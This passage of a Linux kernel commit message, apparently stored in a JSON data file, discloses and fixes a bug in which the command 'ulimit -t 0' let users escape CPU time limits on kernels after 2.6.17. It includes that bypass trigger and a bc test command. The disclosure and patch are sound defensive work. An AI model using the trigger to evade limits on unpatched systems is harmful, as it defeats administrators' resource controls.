running kernels above 2.6.17, no matter what the\nhard and soft CPU time limits were before, a user could escape them by\nissuing in the shell (sh/bash/zsh) \"ulimit -t 0\", and then the user's\nprocess was not ever killed.\n\nAttached is a trivial patch to fix that.  Simply moving the check to a\nslightly earlier location (specifically, before the line that actually\nassigns the limit - *old_rlim = new_rlim), does the trick.\n\nDo note that at least the zsh (but not ash, dash, or bash) shell has the\nproblem of \"caching\" the limits set by the ulimit command, so when running\nzsh the fix will not immediately be evident - after entering \"ulimit -t 0\",\n\"ulimit -a\" will show \"-t: cpu time (seconds) 0\", even though the actual\nlimit as returned by getrlimit(...) will be 1.  It can be verified by\nopening a subshell (which will not have the values of the parent shell in\ncache) and checking in it, or just by running a CPU intensive command like\n\"echo '65536^1048576' | bc\" and verifying that it dumps core after one\nsecond.\n\nRegardless of whether that is a misfeature in the shell, perhaps it would\nbe better to return -EINVAL from setrlimit in such a case instead of\ncheating and setting to 1, as that does not really reflect the actual state\nof the process anymore.  I do not however know what the ground for that\ndecision was in the original 2.6.17 change, and whether there would be any\n\"backward\" compatibility issues, so I preferred not to touch that right\nnow.\n\nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  }
+]
\ No newline at end of file